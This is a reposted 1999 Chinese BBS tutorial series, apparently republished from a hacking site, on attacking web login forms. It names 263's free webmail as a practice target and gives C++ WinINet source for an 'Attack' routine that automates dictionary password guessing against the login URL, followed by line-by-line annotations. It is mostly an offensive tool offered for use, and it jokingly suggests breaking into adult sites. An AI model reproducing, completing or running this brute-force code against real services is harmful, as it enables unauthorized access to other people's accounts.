网络通信 频道

WWW攻击手法

这儿的WWW攻击只限一般站点的攻击
  对于采用安全连接的站点还没有试过
  一个很好的实践的目标就是各种支持WWW的免费邮件
  如果你想用它来进入黄色站点
  那也没办法 :)
  一般的站点中
  如果你想浏览某些需要授权的内容
  首先要经过身份验证这一步
  就是让你输入用户名、密码
  然后浏览器会根据HTML文件中FORM的定义
  把这些信息发给服务器来验证
  一般的办法是GET或POST
  比如在263中
  请看下面的263 HTML源代码
  用户名: @263.net 口令:
  如果点击"请进吧!",浏览器会向服务器发送一下请求
  POST /prog/login/?user=aaa@pass=bbb
  既然知道了原理
  那我们就可以模拟用户点击的过程
  Welcome to NANKAIBBS发信人: bbb (九万里风鹏路), 信区: SysSafe
  标 题: WWW攻击法(二)
  发信站: 我爱南开站 (Wed Nov 3 08:45:57 1999), 转信
  微软给我们提供了一套现成的API让我们可以使用HTTP协议而不需通读RFC文档
  现在
  我们就可以发动进攻了
  请看源程序
  不想灌水
  我把该程序中读字典的部分和判断攻击是否成功的部分省掉了
  但都作了注释
  const TCHAR szHeaders[] ="Accept: text/*\r\nUser-Agent: URLHacker\r\n";
  //pServer是目标主机名
  //cszPostData就是剩下的部分
  //比如攻击263的免费邮箱,那么
  //pServer="freemail.263.net"
  //cszPostData="/prog/login?user=tom&pass=@!#$"
  //当然,你要先读字典文件,读取pass的值
  void Attack(LPSTR pServer,LPSTR cszPostData)
  {
  // Open Internet session.
  HINTERNET hSession = ::InternetOpen("URLHacker",
  INTERNET_OPEN_TYPE_PRECONFIG,
  NULL,
  INTERNET_INVALID_PORT_NUMBER,
  0) ;
  // Connect to dest.
  HINTERNET hConnect = ::InternetConnect(hSession,
  pServer,
  INTERNET_INVALID_PORT_NUMBER,
  "",
  "",
  INTERNET_SERVICE_HTTP,
  0,
  0) ;
  // Request the file from the server.
  HINTERNET hHttpFile = ::HttpOpenRequest(hConnect,
  "GET",
  cszPostData,
  HTTP_VERSION,
  NULL,
  0,
  INTERNET_FLAG_DONT_CACHE,
  0) ;
  // Add request headers
  BOOL bAddHeaders = ::HttpAddRequestHeaders(hConnect,szHeaders,lstrlen(szHea
  ders),HTTP_ADDREQ_FLAG_ADD);
  // Send the request.
  BOOL bSendRequest = ::HttpSendRequest(hHttpFile, NULL, 0, 0, 0);
  // Get the length of the file.
  char szBuffer[80] ;
  DWORD dwLen = sizeof(szBuffer);
  DWORD dwIndex;
  BOOL bRet = HttpQueryInfo(hHttpFile, HTTP_QUERY_STATUS_CODE,
  szBuffer, &dwLen, NULL);
  DWORD dwRet;
  if (bRet)
  dwRet = (DWORD) atol(szBuffer);
  if (dwRet == HTTP_STATUS_DENIED){
  //这是另外一种验证的办法,和系统的用户名、口令结合起来
  //InternetConnect中第3、4个参数就是用户名和口令
  //下面怎么做不用我说了吧
  }
  if (HttpQueryInfo(hHttpFile, HTTP_QUERY_RAW_HEADERS_CRLF, NULL, &dwLen, 0))
  bRet = TRUE;
  else
  {
  // now that we know how long it is, ask for exactly that much
  // space and really request the header from the API
  LPTSTR pstr = new TCHAR[dwLen];
  bRet = HttpQueryInfo(hHttpFile, HTTP_QUERY_RAW_HEADERS_CRLF, pstr, &dwLen,
  &dwIndex);
  delete []pstr;
  }
  // were we redirected?
  // these response status codes come from WININET.H
  if (dwRet == HTTP_STATUS_MOVED ||
  dwRet == HTTP_STATUS_REDIRECT ||
  dwRet == HTTP_STATUS_REDIRECT_METHOD)
  {
  //被重定向到其它地址,需要重新连接到新的地址
  }
  // Convert length from ASCII string to a DWORD.
  // Allocate a buffer for the file.
  char* buffer = new char[dwLen+1] ;
  // Read the file into the buffer.
  DWORD dwBytesRead ;
  BOOL bRead = ::InternetReadFile(hHttpFile,
  buffer,
  dwLen+1,
  &dwBytesRead);
  //可以在这儿根据读到的内容判断攻击是否成功
  //怎么?不会!
  //试一下手工猜口令,肯定给你一个出错的画面
  //如果读到的内容中不包括那些错误信息,就又可能成功了
  delete [] buffer;
  ::InternetCloseHandle(hHttpFile);
  ::InternetCloseHandle(hConnect) ;
  ::InternetCloseHandle(hSession) ;
  }
  Welcome to NANKAIBBS发信人: bbb (九万里风鹏路), 信区: SysSafe
  标 题: WWW攻击法(三)—注解
  发信站: 我爱南开站 (Wed Nov 3 08:58:58 1999), 转信
  创建一个会话
  HINTERNET hSession = ::InternetOpen(
  "URLHacker",//Agent名,随便取
  INTERNET_OPEN_TYPE_PRECONFIG,//使用定义的连接方式
  NULL,
  INTERNET_INVALID_PORT_NUMBER,
  0) ;
  连接到服务器
  HINTERNET hConnect = ::InternetConnect(
  hSession,
  pServer,//服务器名
  INTERNET_INVALID_PORT_NUMBER,
  "",//用户名
  "",//口令
  INTERNET_SERVICE_HTTP,//HTTP
  0,
  0);
  向服务器发出请求
  HINTERNET hHttpFile = ::HttpOpenRequest(hConnect,
  "GET",//可用GET或POST
  cszPostData,//对应于HTTP命令 GET cdzPostData
  HTTP_VERSION,
  NULL,
  0,
  INTERNET_FLAG_DONT_CACHE,
  0);
  加一个请求头,自我炫耀一下,hehe
  BOOL bAddHeaders = ::HttpAddRequestHeaders(hConnect,szHeaders,lstrlen(szHead
  ers),HTTP_ADDREQ_FLAG_ADD);
  接下来,查询该请求返回的信息,然后读之

 

文章转载地址:http://www.cnpaf.net/Class/hack/06101110491529512872.html

0
相关文章